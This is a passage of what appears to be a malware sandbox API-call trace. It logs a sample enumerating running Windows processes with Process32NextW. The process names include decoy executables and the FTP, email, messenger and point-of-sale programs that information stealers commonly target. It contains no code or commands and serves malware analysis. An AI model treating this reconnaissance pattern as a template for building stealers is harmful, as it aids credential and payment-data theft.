th32ProcessID=0x860, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0076.365] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0076.365] Process32NextW (in: hSnapshot=0x2c4, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0076.365] lstrlenW (lpString="Memory Compression") returned 18 [0076.365] Process32NextW (in: hSnapshot=0x2c4, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0076.366] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0076.366] Process32NextW (in: hSnapshot=0x2c4, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0076.366] lstrlenW (lpString="SearchUI.exe") returned 12 [0076.367] Process32NextW (in: hSnapshot=0x2c4, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbb8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0076.367] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0076.367] Process32NextW (in: hSnapshot=0x2c4, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0076.368] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0076.368] Process32NextW (in: hSnapshot=0x2c4, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xff8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="furholdtopics.exe")) returned 1 [0076.368] lstrlenW (lpString="furholdtopics.exe") returned 17 [0076.368] Process32NextW (in: hSnapshot=0x2c4, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x504, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="sensors conjunction petition.exe")) returned 1 [0076.369] lstrlenW (lpString="sensors conjunction petition.exe") returned 32 [0076.369] Process32NextW (in: hSnapshot=0x2c4, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="until_commit.exe")) returned 1 [0076.369] lstrlenW (lpString="until_commit.exe") returned 16 [0076.369] Process32NextW (in: hSnapshot=0x2c4, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="cablesdiscussed.exe")) returned 1 [0076.370] lstrlenW (lpString="cablesdiscussed.exe") returned 19 [0076.370] Process32NextW (in: hSnapshot=0x2c4, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="unavailable cricket postcard.exe")) returned 1 [0076.370] lstrlenW (lpString="unavailable cricket postcard.exe") returned 32 [0076.370] Process32NextW (in: hSnapshot=0x2c4, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcdc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="lexmark.exe")) returned 1 [0076.371] lstrlenW (lpString="lexmark.exe") returned 11 [0076.371] Process32NextW (in: hSnapshot=0x2c4, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x75c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="cj_antenna_alone.exe")) returned 1 [0076.371] lstrlenW (lpString="cj_antenna_alone.exe") returned 20 [0076.371] Process32NextW (in: hSnapshot=0x2c4, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="dryer-pocket.exe")) returned 1 [0076.372] lstrlenW (lpString="dryer-pocket.exe") returned 16 [0076.372] Process32NextW (in: hSnapshot=0x2c4, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="delete disable changing.exe")) returned 1 [0076.372] lstrlenW (lpString="delete disable changing.exe") returned 27 [0076.372] Process32NextW (in: hSnapshot=0x2c4, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd24, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="sitemap instructors tide.exe")) returned 1 [0076.373] lstrlenW (lpString="sitemap instructors tide.exe") returned 28 [0076.373] Process32NextW (in: hSnapshot=0x2c4, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x970, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="underwear.exe")) returned 1 [0076.373] lstrlenW (lpString="underwear.exe") returned 13 [0076.373] Process32NextW (in: hSnapshot=0x2c4, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa2c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="dear-hearings.exe")) returned 1 [0076.374] lstrlenW (lpString="dear-hearings.exe") returned 17 [0076.374] Process32NextW (in: hSnapshot=0x2c4, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0076.374] lstrlenW (lpString="dllhost.exe") returned 11 [0076.374] Process32NextW (in: hSnapshot=0x2c4, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="risks_lows_nickel.exe")) returned 1 [0076.375] lstrlenW (lpString="risks_lows_nickel.exe") returned 21 [0076.375] Process32NextW (in: hSnapshot=0x2c4, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="physiologyconfirmedthursday.exe")) returned 1 [0076.375] lstrlenW (lpString="physiologyconfirmedthursday.exe") returned 31 [0076.375] Process32NextW (in: hSnapshot=0x2c4, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="testimonials counsel.exe")) returned 1 [0076.376] lstrlenW (lpString="testimonials counsel.exe") returned 24 [0076.376] Process32NextW (in: hSnapshot=0x2c4, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd94, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="retrievedsocietyuniv.exe")) returned 1 [0076.376] lstrlenW (lpString="retrievedsocietyuniv.exe") returned 24 [0076.377] Process32NextW (in: hSnapshot=0x2c4, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="boss alternatives plots.exe")) returned 1 [0076.377] lstrlenW (lpString="boss alternatives plots.exe") returned 27 [0076.377] Process32NextW (in: hSnapshot=0x2c4, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="towers world.exe")) returned 1 [0076.378] lstrlenW (lpString="towers world.exe") returned 16 [0076.378] Process32NextW (in: hSnapshot=0x2c4, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x29c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="coaching indian.exe")) returned 1 [0076.378] lstrlenW (lpString="coaching indian.exe") returned 19 [0076.378] Process32NextW (in: hSnapshot=0x2c4, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbc0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="goal assumed.exe")) returned 1 [0076.379] lstrlenW (lpString="goal assumed.exe") returned 16 [0076.379] Process32NextW (in: hSnapshot=0x2c4, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0076.380] lstrlenW (lpString="3dftp.exe") returned 9 [0076.380] Process32NextW (in: hSnapshot=0x2c4, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xddc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0076.381] lstrlenW (lpString="absolutetelnet.exe") returned 18 [0076.381] Process32NextW (in: hSnapshot=0x2c4, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0076.382] lstrlenW (lpString="alftp.exe") returned 9 [0076.382] Process32NextW (in: hSnapshot=0x2c4, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0076.383] lstrlenW (lpString="barca.exe") returned 9 [0076.383] Process32NextW (in: hSnapshot=0x2c4, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0076.384] lstrlenW (lpString="bitkinex.exe") returned 12 [0076.384] Process32NextW (in: hSnapshot=0x2c4, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbdc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0076.384] lstrlenW (lpString="coreftp.exe") returned 11 [0076.385] Process32NextW (in: hSnapshot=0x2c4, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x88c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0076.385] lstrlenW (lpString="far.exe") returned 7 [0076.385] Process32NextW (in: hSnapshot=0x2c4, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0076.386] lstrlenW (lpString="filezilla.exe") returned 13 [0076.386] Process32NextW (in: hSnapshot=0x2c4, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa68, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0076.387] lstrlenW (lpString="flashfxp.exe") returned 12 [0076.387] Process32NextW (in: hSnapshot=0x2c4, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0076.388] lstrlenW (lpString="fling.exe") returned 9 [0076.388] Process32NextW (in: hSnapshot=0x2c4, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc94, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0076.389] lstrlenW (lpString="foxmailincmail.exe") returned 18 [0076.389] Process32NextW (in: hSnapshot=0x2c4, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xab0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0076.390] lstrlenW (lpString="gmailnotifierpro.exe") returned 20 [0076.390] Process32NextW (in: hSnapshot=0x2c4, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0076.391] lstrlenW (lpString="icq.exe") returned 7 [0076.391] Process32NextW (in: hSnapshot=0x2c4, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0076.392] lstrlenW (lpString="leechftp.exe") returned 12 [0076.392] Process32NextW (in: hSnapshot=0x2c4, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0076.393] lstrlenW (lpString="ncftp.exe") returned 9 [0076.393] Process32NextW (in: hSnapshot=0x2c4, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0076.393] lstrlenW (lpString="notepad.exe") returned 11 [0076.394] Process32NextW (in: hSnapshot=0x2c4, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0076.394] lstrlenW (lpString="operamail.exe") returned 13 [0076.394] Process32NextW (in: hSnapshot=0x2c4, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x704, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0076.760] lstrlenW (lpString="pidgin.exe") returned 10 [0076.760] Process32NextW (in: hSnapshot=0x2c4, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0076.761] lstrlenW (lpString="scriptftp.exe") returned 13 [0076.761] Process32NextW (in: hSnapshot=0x2c4, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x84, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0076.762] lstrlenW (lpString="skype.exe") returned 9 [0076.762] Process32NextW (in: hSnapshot=0x2c4, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0076.762] lstrlenW (lpString="smartftp.exe") returned 12 [0076.763] Process32NextW (in: hSnapshot=0x2c4, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xac4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0076.763] lstrlenW (lpString="thunderbird.exe") returned 15 [0076.763] Process32NextW (in: hSnapshot=0x2c4, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xeb8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="totalcmd.exe")) returned 1 [0076.764] lstrlenW (lpString="totalcmd.exe") returned 12 [0076.764] Process32NextW (in: hSnapshot=0x2c4, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xee4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0076.765] lstrlenW (lpString="trillian.exe") returned 12 [0076.765] Process32NextW (in: hSnapshot=0x2c4, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xec8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0076.766] lstrlenW (lpString="webdrive.exe") returned 12 [0076.766] Process32NextW (in: hSnapshot=0x2c4, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xed0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0076.767] lstrlenW (lpString="whatsapp.exe") returned 12 [0076.767] Process32NextW (in: hSnapshot=0x2c4, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x15c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0076.767] lstrlenW (lpString="winscp.exe") returned 10 [0076.767] Process32NextW (in: hSnapshot=0x2c4, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf68, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0076.768] lstrlenW (lpString="yahoomessenger.exe") returned 18 [0076.768] Process32NextW (in: hSnapshot=0x2c4, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0076.769] lstrlenW (lpString="active-charge.exe") returned 17 [0076.769] Process32NextW (in: hSnapshot=0x2c4, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0076.770] lstrlenW (lpString="accupos.exe") returned 11 [0076.770] Process32NextW (in: hSnapshot=0x2c4, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfb8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0076.771] lstrlenW (lpString="afr38.exe") returned 9 [0076.771] Process32NextW (in: hSnapshot=0x2c4, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf90, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0076.771] lstrlenW (lpString="aldelo.exe") returned 10 [0076.771] Process32NextW (in: hSnapshot=0x2c4, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0076.772] lstrlenW (lpString="ccv_server.exe") returned 14 [0076.772] Process32NextW (in: hSnapshot=0x2c4, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xff4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0076.773] lstrlenW (lpString="centralcreditcard.exe") returned 21 [0076.773] Process32NextW (in: hSnapshot=0x2c4, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x508, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0076.774] lstrlenW (lpString="creditservice.exe") returned 17 [0076.774] Process32NextW (in: hSnapshot=0x2c4, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf54, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0076.774] lstrlenW (lpString="edcsvr.exe") returned 10 [0076.775] Process32NextW (in: hSnapshot=0x2c4, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0076.775] lstrlenW (lpString="fpos.exe") returned 8 [0076.775] Process32NextW (in: hSnapshot=0x2c4, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xda8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0076.776] lstrlenW (lpString="isspos.exe") returned 10 [0076.776] Process32NextW (in: hSnapshot=0x2c4, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdd8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0076.777] lstrlenW (lpString="mxslipstream.exe") returned 16 [0076.777] Process32NextW (in: hSnapshot=0x2c4, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1010, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0076.777] lstrlenW (lpString="omnipos.exe") returned 11 [0076.777] Process32NextW (in: hSnapshot=0x2c4, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1070, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0076.778] lstrlenW (lpString="spcwin.exe") returned 10 [0076.778] Process32NextW (in: hSnapshot=0x2c4, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1084, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0076.779] lstrlenW (lpString="spgagentservice.exe") returned 19 [0076.779] Process32NextW (in: hSnapshot=0x2c4, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1098, th32DefaultHeapID=0x0, th32ModuleID=0x0, 